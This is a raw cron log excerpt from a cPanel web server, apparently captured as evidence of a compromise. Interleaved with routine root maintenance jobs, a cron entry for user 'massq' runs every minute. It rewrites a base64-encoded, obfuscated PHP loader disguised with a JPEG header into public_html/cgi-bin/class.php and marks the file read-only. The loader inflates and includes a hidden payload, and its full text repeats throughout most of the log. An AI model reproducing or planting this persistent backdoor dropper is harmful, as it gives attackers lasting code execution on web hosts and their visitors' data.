Sep  4 22:39:01 server CROND[27441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:39:01 server CROND[27442]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 22:40:01 server CROND[27834]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:40:01 server CROND[27835]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:40:01 server CROND[27842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:40:01 server CROND[27847]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:40:01 server CROND[27849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:40:01 server CROND[27850]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:40:01 server CROND[27854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:40:01 server CROND[27848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:41:01 server CROND[28681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:41:01 server CROND[28682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:41:01 server CROND[28683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:42:01 server CROND[29065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:42:01 server CROND[29067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:42:01 server CROND[29066]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 22:42:01 server CROND[29068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:43:01 server CROND[29450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:43:01 server CROND[29452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:43:01 server CROND[29451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:44:01 server CROND[29938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:44:01 server CROND[29937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:44:01 server CROND[29939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:45:01 server CROND[30332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:45:01 server CROND[30334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:45:01 server CROND[30341]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:45:01 server CROND[30350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:45:01 server CROND[30352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:45:01 server CROND[30356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:45:01 server CROND[30357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:46:01 server CROND[31160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:46:01 server CROND[31161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:46:01 server CROND[31159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:47:01 server CROND[31551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:47:01 server CROND[31553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:47:01 server CROND[31552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:48:01 server CROND[31942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:48:01 server CROND[31941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:48:01 server CROND[31943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:49:01 server CROND[32331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:49:01 server CROND[32332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:49:01 server CROND[32333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:50:01 server CROND[367]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 22:50:01 server CROND[370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:50:01 server CROND[372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:50:01 server CROND[374]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:50:01 server CROND[377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:50:01 server CROND[375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:50:01 server CROND[376]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:50:01 server CROND[373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
